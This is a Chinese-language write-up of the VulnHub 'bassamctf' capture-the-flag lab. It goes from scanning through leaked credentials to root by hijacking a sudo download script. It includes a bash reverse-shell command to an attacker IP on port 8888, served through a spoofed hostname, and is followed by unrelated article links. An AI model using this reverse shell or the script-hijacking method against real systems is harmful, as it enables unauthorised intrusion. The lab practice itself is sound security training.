vulnhub靶场之bassamctf

news/2024/11/7 15:27:31/

1.信息收集

探测存活主机,输入:netdiscover -r 192.168.239.0/24 ,发现192.168.239.177存活。
在这里插入图片描述
对目标主机192.168.239.176进行端口扫描,发现存活22(SSH)、80端口。
在这里插入图片描述
在浏览器上输入:http://192.168.239.177,查看源码,发现类似于网站的域名。
在这里插入图片描述
在这里插入图片描述
在/etc/hosts文件里面添加ip与对应的域名,浏览器访问域名,访问成果。
在这里插入图片描述
在这里插入图片描述
进行目录扫描,未发现可疑信息。
在这里插入图片描述
进行域名扫描,发现welcome.bassam.ctf,加入/etc/hosts中,访问http://welcome.bassam.ctf。
在这里插入图片描述
对http://welcome.bassam.ctf进行目录扫描,发现index.php与config.php。
在这里插入图片描述
访问index.php发现存在下载的功能。
在这里插入图片描述

2.漏洞利用

在url中输入:http://welcome.bassam.ctf/config.php,无反应;输入config.php下载成功,发现用户test:test123。
在这里插入图片描述
尝试ssh登录成功。在这里插入图片描述

3.提权

在/home/kira中发现可执行文件test.sh,使用cat查看内容。
在这里插入图片描述
查看根目录,发现存在/PassProgram/文件夹,进入文件夹中,发现存在解码和编码。
在这里插入图片描述
查看/var/www/ctf,存在MySecretPassword可疑文件。
在这里插入图片描述
查看MySecretPassword文件类型为text,但无法查看。使用hexdump查看文件。猜测是用/PassProgram目录下的encoder加密的。
在这里插入图片描述
使用decoder解密,可得kira用户的密码为:kira2003。切换到kira用户。
在这里插入图片描述
输入sudo -l发现存在sudo提权。
在这里插入图片描述
切换到bassam用户。
在这里插入图片描述
查看bassam目录下存在down.sh文件,查看内容为下载script.sh文件。
在这里插入图片描述
将mywebsite.test域名添加到本机的hosts文件中
在这里插入图片描述
创建script.sh文件,在里面输入bash -i >& /dev/tcp/192.168.239.131/8888 0>&1,使用PHP开启web服务php -S 0:80
在这里插入图片描述
开启本地监听,在另一个shell中输入sudo ./down.sh,反弹shell成功。
在这里插入图片描述
在这里插入图片描述


http://www.ppmy.cn/news/77212.html

相关文章

C语言学习分享(第八次)------初阶指针

💓博主CSDN主页:杭电码农-NEO💓   ⏩专栏分类:C语言学习分享⏪   🚚代码仓库:NEO的学习日记🚚   🌹关注我🫵带你学习更多C语言知识   🔝🔝 初阶指针 1. 前言🚩2. …

(8)(8.8) CAN总线设置

文章目录 前言 1 概述 2 配置设置 3 CAN ESCs 前言 本文展示了如何设置 CAN 总线,以及用户有哪些选项来完成适合其特定需求的设置。 !

【JOSEF约瑟 应用于输配电路、变压器 JDP-1004双位置继电器 端子排】

名称:双位置继电器;品牌:JOSEF约瑟;型号:JDP-1440;触点容量:250V2A;功率消耗:≤5W;额定电压:220V/110V;外形尺寸:868573特…

Web服务器实现|基于阻塞队列线程池的Http服务器|线程控制|Http协议

基于阻塞队列生产者消费者模型线程池的多线程Web服务器 代码地址:WebServer_GitHub_Addr README 摘要 本实验通过C语言,实现了一个基于阻塞队列线程池的多线程Web服务器。该服务器支持通过http协议发送报文,跨主机抓取服务器上特定资源。与…

PHP+vue二手车交易信息网站系统

原来二手车网站由于二手车网站制度的不完善,许多城市的二手车网站市场都很少,而且欺诈行文较严重,肆意提高价格,隐瞒汽车所存在的故障问题,人们买卖二手车还是经过朋友帮忙介绍的途径来实现。这就导致了很多人的想卖车…

斐波那契数列数列相关简化2

看这篇文章前先看一下第一篇文章: 斐波那契数列数列相关简化1_鱼跃鹰飞的博客-CSDN博客 根据第一篇文章总结如下: 如果某个递归,除了初始项之外,具有如下的形式 F(N) C1 * F(N) C2 * F(N-1) … Ck * F(N-k) ( C1…Ck 和k都…

nodejs+vue飞机机票在线预订票网站

本机票预订系统以vue作为框架,b/s模式以及MySql作为后台运行的数据库,同时使用Tomcat用为系统的服务器。本系统主要包括首页,个人中心,用户管理,机票类型管理,机票信息管理,订票信息管理&#x…

ORB_SLAM2算法如何提取图像的ORB特征点?

文章目录 提取特征接口如何调用?提取特征接口如何定义?Mat image = _image.getMat();assert(image.type() == CV_8UC1 )ComputePyramid(image);计算特征点计算描述子对提取到的特征点进一步处理提取特征接口如何调用? void Frame::ExtractORB(int flag, const cv